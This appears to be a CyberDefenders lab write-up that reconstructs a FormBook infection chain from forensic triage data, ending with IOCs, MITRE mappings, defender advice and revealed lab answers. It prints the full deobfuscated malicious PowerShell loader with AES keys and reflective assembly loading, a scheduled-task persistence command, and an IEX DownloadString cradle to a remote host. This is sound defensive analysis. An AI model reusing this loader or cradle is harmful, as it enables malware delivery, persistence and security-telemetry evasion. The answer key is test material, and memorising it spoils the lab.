// CyberDefenders  ·  writeup

Formbook

CyberDefenders Event Log ExplorerCyberChefDB Browser for SQLiteNotepad++PowerShell

Scenario

An employee at the Silver Group opened what appeared to be a routine quotation request email. The attachment prompted a download, and shortly after opening it the workstation started behaving strangely — unexpected script activity, a new recurring scheduled task, and repeated outbound connections to unfamiliar hosts. Antivirus raised no alerts. A KAPE triage collection from the affected workstation was handed to the investigation team: file-system metadata, Sysmon telemetry, PowerShell transcripts, recovered loader scripts, and several disguised payload files staged in a world-writable directory. The task was to reconstruct the full chain from lure to FormBook C2 beaconing.


Methodology

Initial Access — Phishing Lure via New Outlook

The investigation starts with Sysmon Event ID 1, filtering for browser process creation. New Outlook on this machine runs as a Windows App (OutlookForWindows) and opens URLs through an embedded WebView2 instance. The Sysmon process tree shows msedgewebview2.exe — Outlook’s internal renderer — spawning a full msedge.exe process with --single-argument pointing to the staging URL. The parent process reported by the lab is olk.exe, the logical host of the WebView2 instance, which started at 2026-04-29 14:25 UTC.

The Edge launch event exposes the full staging URL directly in the command line:

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://3.121.186.89:8000/08042026_0806_07042026_Quotation%%20Request.rar

The staging server at 3[.]121[.]186[.]89:8000 served the first-stage RAR archive directly. The filename — dated to mimic a business document — is a classic social engineering lure designed to look like a legitimate supplier quotation.

Delivery — RAR Archive

The RAR landed in C:\Users\byoussef\Downloads\. Checking the file properties confirms the exact size and hash:

The Edge download history in DB Browser for SQLite (History database, downloads table) provides precise timing. The start_time and end_time fields are stored as microseconds since 1601-01-01. Subtracting them and dividing by 1,000,000 gives a download duration of approximately 16 seconds — consistent with a 4.94 MB file over a reasonable connection.

Before the archive could execute, the user needed an extraction tool. Prefetch analysis via PECmd shows 7Z2401-X64.EXE ran just before the extraction — 7-Zip was freshly installed, version confirmed via the SOFTWARE hive under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip as 7-Zip 26.00. The prefetch for 7ZG.EXE shows a run at 2026-04-29 14:27:07, with file references including the downloaded RAR, confirming extraction.

Execution — JScript Dropper

Inside the archive was a single file: cbmjlzan.JS. The user double-clicked it — Sysmon Event ID 1 shows OpenWith.exe as the parent, spawning:

"C:\Windows\System32\WScript.exe" "C:\Users\byoussef\Downloads\08042026_0806_07042026_Quotation Request\cbmjlzan.JS"

Opening cbmjlzan.JS in Notepad++ reveals why it exceeds 10 MB — the entire payload is encoded as CJK Unified Ideographs, one character per byte. This encoding exploits the fact that CJK codepoints map cleanly to single byte values, allowing arbitrary binary data to survive as “text” that evades most string-based detection.

The encoded chunks are wrapped in a repeating ASCII delimiter that stands out immediately against the wall of Chinese characters: VFHDVXDJCFTUTW. This marker appears at the start and end of each data section and is stripped during decoding.

Persistence — Scheduled Task and Script Copy

Before detonating the payloads, the dropper established persistence through two mechanisms visible in Sysmon Event ID 11 (file creation) and Event ID 1 (process creation).

First, the script copied itself to a persistent location:

C:\Users\Public\Libraries\cbmjlzan.JS

Then it created a scheduled task to re-execute every 15 minutes:

"C:\Windows\System32\cmd.exe" /c schtasks /create /sc minute /mo 15 /tn cbmjlzan.JS /tr C:\Users\Public\Libraries\cbmjlzan.JS

Pivoting into the SOFTWARE hive via Registry Explorer confirms the task under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\cbmjlzan.JS, where the Id value reveals the assigned GUID:

{55AED6D3-C198-4BAE-872F-BC1BD3E01655}

Payload Staging — Three PNG Files

Sysmon Event ID 11 shows WScript.exe writing three files to C:\Users\Public\ in sequence:

Orio.png → Brio.png → Xrio.png

These are not images. They are AES-CBC encrypted .NET assemblies disguised with PNG extensions and dropped to a world-writable directory. The naming is deliberate — Public bypasses most user-directory monitoring, and PNG extensions avoid executable file alerting.

Obfuscated PowerShell Stage

The dropper also spawned an obfuscated PowerShell process (PID 8972) via WScript. Sysmon captures the command line, but it exceeded the 32KB log limit and was truncated. The key detail that survived: the Base64 blob is polluted throughout with the junk string VFHDVXDJCF — the same marker family used in the JS file — inserted to break automated Base64 detection. The -Noexit -nop -c iex pattern combined with [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(...)) is the standard in-memory execution cradle.

To recover the full script, the Base64 blob was extracted from the Sysmon event JSON and processed in CyberChef: Find/Replace removing all instances of VFHDVXDJCF, then From Base64, then Decode Text UTF-16LE:

The full decoded PowerShell script is reproduced below because it answers five questions in one pass and is the centrepiece of the loader chain:

$inputBase64FilePath = "C:\Users\PUBLIC\Xrio.png"

# Create a new AES object
$aes_var = [System.Security.Cryptography.Aes]::Create()

# Set AES parameters
$aes_var.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes_var.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes_var.Key = [System.Convert]::FromBase64String('XctflJI8B7Qo2dA6FbwuHYAjjzjViSx3hThThXX1QUY=')
$aes_var.IV = [System.Convert]::FromBase64String('eb8a/RvZf2ltVDo2satMKg==')

$base64String = [System.IO.File]::ReadAllText($inputBase64FilePath)
$encryptedBytes = [System.Convert]::FromBase64String($base64String)
$memoryStream = [System.IO.MemoryStream]::new()
$memoryStream.Write($encryptedBytes, 0, $encryptedBytes.Length)
$memoryStream.Position = 0
$decryptor = $aes_var.CreateDecryptor()
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read)
$streamReader = New-Object System.IO.StreamReader($cryptoStream)
$decryptedString = $streamReader.ReadToEnd()
$cryptoStream.Close()
$memoryStream.Close()
$streamReader.Close()

$commands = $decryptedString -split "`n"

foreach ($encodedCommand in $commands) {
    try {
        $encodedCommand = $encodedCommand.Trim()
        if (-not [string]::IsNullOrWhiteSpace($encodedCommand)) {
            if ($encodedCommand -match '^[A-Za-z0-9+/=]+$' -and ($encodedCommand.Length % 4 -eq 0)) {
                $decodedCommand = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($encodedCommand))
                Invoke-Expression $decodedCommand
            }
        }
    } catch {}
}

$inputBase64FilePath = "C:\Users\PUBLIC\Orio.png"
$aes_var = [System.Security.Cryptography.Aes]::Create()
$aes_var.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes_var.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes_var.Key = [System.Convert]::FromBase64String('KH4LLSO4gsNStF/NR15Oxu6oiybDl9SDt5Sa4uoeQIQ=')
$aes_var.IV = [System.Convert]::FromBase64String('SW4pGkqRJsjbGuetmmqTjA==')

$base64String = [System.IO.File]::ReadAllText($inputBase64FilePath)
$encryptedBytes = [System.Convert]::FromBase64String($base64String)
$memoryStream = [System.IO.MemoryStream]::new()
$memoryStream.Write($encryptedBytes, 0, $encryptedBytes.Length)
$memoryStream.Position = 0
$decryptor = $aes_var.CreateDecryptor()
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read)
$streamReader = New-Object System.IO.StreamReader($cryptoStream)
$decryptedString = $streamReader.ReadToEnd()
$cryptoStream.Close()
$memoryStream.Close()
$streamReader.Close()

$Allohaarnppp111=$decryptedString;
$Allohaarnppp1111='IN-';
$decryptedcode11='-in1';
$decryptedcode1=$Allohaarnppp111.IndexOf($Allohaarnppp1111);
$Allohaarnppp11111=$Allohaarnppp111.LastIndexOf($decryptedcode11);
if($decryptedcode1 -eq -1 -or $Allohaarnppp11111 -eq -1){ return };

$Allohaarnppp111111=$decryptedcode1+$Allohaarnppp1111.Length;
$decryptedcode=$Allohaarnppp111.Substring($Allohaarnppp111111,$Allohaarnppp11111-$Allohaarnppp111111);
$Allohaarnppp1111111111111=$decryptedcode.Replace('#','A').ToCharArray();
[Array]::Reverse($Allohaarnppp1111111111111);
$Allohaarnppp111111111111=$Allohaarnppp1111111111111 -join '';
[byte[]]$Allohaarnppp11111111111=[Convert]::FromBase64String($Allohaarnppp111111111111);

$Allohaarnppp1111111111=[AppDomain]::CurrentDomain.Load($Allohaarnppp11111111111);

$Allohaarnppp11111111=@('file:///C:/Users/Public/Brio.png','0','','','MSBuild','','MSBuild','','','','','','7','0','','0','','','');

try{
    $Allohaarnppp111111111=$Allohaarnppp1111111111.GetType('Fiber.Program');
    $Allohaarnppp1111111=$Allohaarnppp111111111.GetMethod('Main');
    $Allohaarnppp1111111.Invoke($nUll,[object[]]$Allohaarnppp11111111)
}
catch{}

exit

The script performs two distinct decryption operations. The first targets Xrio.png using AES-CBC with PKCS7 padding. The decrypted content is a newline-delimited list of Base64-encoded commands — each is decoded from UTF-16LE and executed via Invoke-Expression. This is the AMSI/ETW patcher stage: the commands patch AmsiScanBuffer and EtwEventWrite in memory, blinding .NET security telemetry before the reflective loader runs. By patching these functions first, any subsequent .NET assembly loading happens outside the visibility of both AMSI scanning and ETW-based detection.

The second operation targets Orio.png with a different key and IV. After decryption, the loader extracts a Base64 substring between the delimiters IN- and -in1, replaces every # character with A, reverses the resulting array, then converts the corrected Base64 to a byte array. The result is a .NET assembly loaded directly into the current AppDomain via [AppDomain]::CurrentDomain.Load(). The loader then resolves Fiber.Program.Main by reflection and invokes it, passing file:///C:/Users/Public/Brio.png as the first argument — the path to the final payload.

LOLBin Execution — MSBuild

Fiber.Program.Main uses MSBuild as its execution vehicle. Sysmon Event ID 1 at 14:28:57 shows MSBuild.exe (PID 10548) spawned by the PowerShell process (PID 8972):

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
FileVersion: 4.8.9037.0

MSBuild is a trusted, signed Microsoft developer utility — it runs with implicit trust on most endpoints and is not monitored by default. Using it as the execution host for Brio.png’s shellcode means the malicious activity appears in process trees as legitimate .NET build infrastructure.

Injection Chain and C2 Beaconing

The Sysmon telemetry confirms the injection path: PowerShell PID 8972 injected into MSBuild PID 10548, which then continued injecting down a process chain until FormBook was running inside chrome.exe (PID 2864).

FormBook’s C2 evasion relies on decoy DNS queries — the injected process fires queries to a large list of legitimate-looking domains to hide the real C2 beacon among noise. Sysmon Event ID 22 shows chrome.exe PID 2864 generating this traffic starting at 14:29:22 UTC, with the first recorded query being www.0a8b2y[.]asia resolving to 156[.]244[.]73[.]169.

Parallel Download Cradle

Separately from the PNG loader chain, the dropper also executed a hidden PowerShell command using IEX ((New-Object Net.WebClient).DownloadString(...)) — a classic in-memory download cradle reaching out to a second C2 server:

http://34.236.155.32:80/a

A Sysmon Event ID 3 (network connection) for this PowerShell process confirms the victim’s outbound source IP as 10.10.11.138, validating that the cradle successfully connected.


Attack Summary

PhaseAction
Initial AccessPhishing email lure; user clicked link in New Outlook, spawning Edge to download RAR from hxxp[://]3[.]121[.]186[.]89:8000
DeliveryRAR archive 08042026_0806_07042026_Quotation Request.rar (5,180,553 bytes) downloaded in 16 seconds
ExecutionUser extracted archive with 7-Zip 26.00; double-clicked cbmjlzan.JS; WScript.exe executed dropper
PersistenceScript copied to C:\Users\Public\Libraries\cbmjlzan.JS; scheduled task created running every 15 minutes
Defense EvasionCJK Unified Ideograph encoding in JS; junk string obfuscation in Base64 PowerShell blob; AMSI/ETW patching via Xrio.png payload
Payload StagingThree AES-CBC encrypted PNG files written to C:\Users\Public\: Orio.png, Brio.png, Xrio.png
Execution (Stage 2)PowerShell PID 8972 decrypted and loaded Xrio.png (AMSI/ETW patcher) then Orio.png (reflective loader)
LOLBin AbuseFiber.Program.Main loaded Brio.png via MSBuild.exe v4.8.9037.0 (PID 10548)
InjectionMSBuild injected into Chrome (PID 2864); FormBook beaconing began at 14:29 UTC
C2FormBook decoy DNS queries from chrome.exe; download cradle to hxxp[://]34[.]236[.]155[.]32:80/a

IOCs

TypeValue
URL (Staging)hxxp[://]3[.]121[.]186[.]89:8000/08042026_0806_07042026_Quotation%20Request[.]rar
IP (Staging Server)3[.]121[.]186[.]89
IP (Download Cradle C2)34[.]236[.]155[.]32
File08042026_0806_07042026_Quotation Request.rar
SHA256 (RAR)E6CB4D92D873AD02564CE38E283180446E557462A713F2885DBC99A979FA9F81
Filecbmjlzan.JS
FileC:\Users\Public\Libraries\cbmjlzan.JS
FileC:\Users\Public\Orio.png
FileC:\Users\Public\Brio.png
FileC:\Users\Public\Xrio.png
SHA256 (Orio.png)85F32EB745BB3E290D7A4721FBEF005574D02DEDC2C25D0B958A379C5CF9DEC8
Scheduled Taskcbmjlzan.JS ({55AED6D3-C198-4BAE-872F-BC1BD3E01655})
Domain (FormBook decoy)www[.]0a8b2y[.]asia
IP (FormBook decoy)156[.]244[.]73[.]169
Victim Internal IP10.10.11.138

MITRE ATT&CK

TechniqueIDDescription
Spearphishing AttachmentT1566.001Phishing email with quotation lure delivering RAR archive
JavaScriptT1059.007cbmjlzan.JS executed by WScript.exe as initial dropper
PowerShellT1059.001Obfuscated PowerShell cradle with junk-string Base64 for in-memory payload decryption
Obfuscated Files or Information: CJK EncodingT1027CJK Unified Ideographs encoding of payload bytes in JScript dropper
Obfuscated Files or Information: SteganographyT1027.003AES-CBC encrypted payloads disguised as PNG image files
Scheduled TaskT1053.005Recurring 15-minute scheduled task pointing to persistence copy of dropper
Impair Defenses: AMSI BypassT1562.001Xrio.png payload patches AmsiScanBuffer and EtwEventWrite in memory
Trusted Developer Utilities Proxy Execution: MSBuildT1218.004Fiber loader invokes MSBuild.exe v4.8.9037.0 to host and execute Brio.png payload
Process InjectionT1055FormBook injected from MSBuild into chrome.exe (PID 2864)
Application Layer Protocol: DNST1071.004FormBook decoy DNS queries issued from injected chrome.exe process
Ingress Tool TransferT1105Download cradle reaching hxxp[://]34[.]236[.]155[.]32:80/a

Defender Takeaways

Block JScript execution via WScript. The entire intrusion pivoted on a user double-clicking a .JS file. Enforcing Software Restriction Policies or AppLocker rules that prevent WScript.exe and CScript.exe from executing user-downloaded scripts would have terminated the chain at step one. At minimum, associate .JS files with Notepad rather than WScript by default.

Monitor and restrict MSBuild. MSBuild.exe has no legitimate reason to run on an end-user workstation outside a developer environment. Its presence in Sysmon event logs — especially when spawned by PowerShell or WScript — is a high-fidelity indicator of T1218.004 abuse. Block it via AppLocker in non-developer environments, or alert on any instance where its parent is a script interpreter.

AMSI and ETW patch detection. The Xrio.png stage specifically patched AmsiScanBuffer and EtwEventWrite before loading further assemblies, indicating the attacker expected these controls to be active. Kernel-level telemetry (e.g. Sysmon’s ProcessAccess events showing writes into amsi.dll address space) can detect this patching even when AMSI itself has been blinded.

Scheduled task persistence visibility. The dropper created a 15-minute recurring task under the name cbmjlzan.JS — an obviously anomalous task name. Monitoring Task Scheduler event log (Event ID 4698 — task created) and correlating with the creating process would have surfaced this immediately. The registry confirmation path TaskCache\Tree\cbmjlzan.JS is equally auditable.

Egress filtering and DNS monitoring. FormBook’s decoy DNS strategy relies on volume — firing queries to dozens of domains to hide the real beacon. This generates an anomalous spike in DNS query rate from a single process. DNS-over-SIEM rules alerting on processes generating more than N unique external queries per minute, combined with egress filtering that blocks outbound connections from browser processes to non-proxied destinations, would have contained the C2 activity.


The intrusion began when the user opened a link in their New Outlook client, which forwarded the request to the default browser. Which process spawned the browser that initiated the malicious download, and at what UTC timestamp did the browser start?
Click flag to reveal olk.exe, 2026-04-29 14:25
From the staging URL, isolate the two-tier infrastructure detail the lab asks for: what is the IP address and port of the staging server that delivered the first-stage RAR archive? (Format: IP:port)
Click to reveal answer 3.121.186.89:8000
Locate the downloaded archive in the file system metadata. What is the full file name of the first-stage RAR, and what is its size in bytes? (Format: filename, bytes)
Click flag to reveal 08042026_0806_07042026_Quotation Request.rar, 5180553
To support later malware-analysis correlation, hash the delivered archive. What is the SHA256 hash of the first-stage RAR?
Click to reveal answer E6CB4D92D873AD02564CE38E283180446E557462A713F2885DBC99A979FA9F81
How many seconds did the malicious RAR take to download?
Click flag to reveal 16
The user manually opened the archive before the malware ran. Which third-party utility (with version) was used to extract the RAR?
Click to reveal answer 7-zip 26.00
Identify the script the archive delivered. What is the full file name of the dropper script that was extracted into the Downloads folder and then executed?
Click flag to reveal cbmjlzan.JS
Dropper Script executed by native Windows interpreter, and what is the full command line used to launch it?
Click to reveal answer "C:\Windows\System32\WScript.exe" "C:\Users\byoussef\Downloads\08042026_0806_07042026_Quotation Request\cbmjlzan.JS"
The dropper script is enormous (over 10 MB) because it inflates its payload by encoding each byte as one printable character. Which Unicode block is abused to perform this byte-to-character encoding scheme? (Format: official Unicode block name)
Click flag to reveal CJK Unified Ideographs
Inside the dropper, the start and end of each obfuscated data chunk are marked by a hardcoded ASCII marker that is not part of the payload. What is this magic string?
Click to reveal answer VFHDVXDJCFTUTW
The dropper writes three PNG-named payload files to a world-writable directory. List the three file names in the exact order they were created on disk.
Click flag to reveal Orio.png, Brio.png, Xrio.png
Before the payloads detonated, the dropper copied itself to a second location to survive reboots. What is the full path of the copy the script created for persistence?
Click to reveal answer C:\Users\Public\Libraries\cbmjlzan.JS
The dropper then established persistence via a scheduled task. Reconstruct the full command line that created the task.
Click flag to reveal "C:\Windows\System32\cmd.exe" /c schtasks /create /sc minute /mo 15 /tn cbmjlzan.JS /tr C:\Users\Public\Libraries\cbmjlzan.JS
Using the task name from the previous command, pivot into the registry to confirm persistence. What is the GUID assigned to the scheduled task under the TaskCache\Tree key?
Click to reveal answer {55AED6D3-C198-4BAE-872F-BC1BD3E01655}
After dropping the payloads, the dropper launched an obfuscated PowerShell stage. What junk string is repeatedly inserted into the Base64 data to be substituted before it can run, and which PID ran this PowerShell stage for the first time?
Click flag to reveal VFHDVXDJCF, 8972
The de-obfuscated PowerShell decrypts the first PNG payload. Which PNG does this stage decrypt, and what AES Key and IV (both Base64) does it use? (Format: name.png, Key, IV)
Click to reveal answer Xrio.png, XctflJI8B7Qo2dA6FbwuHYAjjzjViSx3hThThXX1QUY=, eb8a/RvZf2ltVDo2satMKg==
What AES cipher mode and padding scheme does the loader configure for decrypting the PNG payloads? (Format: MODE, PADDING)
Click flag to reveal CBC, PKCS7
The payload detonated as an in-memory patcher whose sole purpose was to blind the .NET security telemetry pipeline before the loader ran. Which two functions are patched in memory?
Click to reveal answer AmsiScanBuffer, EtwEventWrite
A second decryption routine targets the reflective-loader payload. Which PNG does it decrypt, and what AES Key and IV (both Base64) does it use? (Format: name.png, Key, IV)
Click flag to reveal Orio.png, KH4LLSO4gsNStF/NR15Oxu6oiybDl9SDt5Sa4uoeQIQ=, SW4pGkqRJsjbGuetmmqTjA==
We need to understand the decryption logic of the reflective-loader payload. The Base64 substring is extracted between two delimiters, a single character is replaced, and the array is reversed. What are the start delimiter, the end delimiter, and the character substitution performed? (Format: START, END, X->Y)
Click to reveal answer IN-, -in1, #->A
Once the assembly is loaded with [AppDomain]::CurrentDomain.Load(), the loader invokes a specific class and method, passing the path to the next payload and the target it will host. What is the fully-qualified class and method invoked, and what is the file:// path passed as the first argument? (Format: Namespace.Class.Method, file:///path)
Click flag to reveal Fiber.Program.Main, file:///C:/Users/Public/Brio.png
The Fiber loader executed through a trusted, signed Microsoft developer utility rather than running malware directly. What is the name and version of this LOLBin?
Click to reveal answer MSBuild.exe v4.8.9037.0
Confirm the injection into the developer utility at the kernel-telemetry level. What are the source PID and target PID involved? (Format: sourcePID : targetPID)
Click flag to reveal 8972 : 10548
After this injection, there is a chain of further injections. What is the name and PID of the final process that issues the decoy DNS queries?
Click to reveal answer chrome, 2864
Separately from the PNG loader chain, the dropper kicked off a second-stage download cradle. What is the full URL the hidden PowerShell command reached out to via the DownloadString call?
Click flag to reveal http://34.236.155.32:80/a
Validate that the cradle is actually connected. What is the victim's source IP address as recorded in that event?
Click to reveal answer 10.10.11.138
Pin down the start of the FormBook beaconing. What is the first FormBook decoy domain queried, and the IP it resolved to?
Click flag to reveal www.0a8b2y.asia, 156.244.73.169
What is the SHA256 hash of O***.png as computed on the recovered file? (Format: SHA256)
Click to reveal answer 85F32EB745BB3E290D7A4721FBEF005574D02DEDC2C25D0B958A379C5CF9DEC8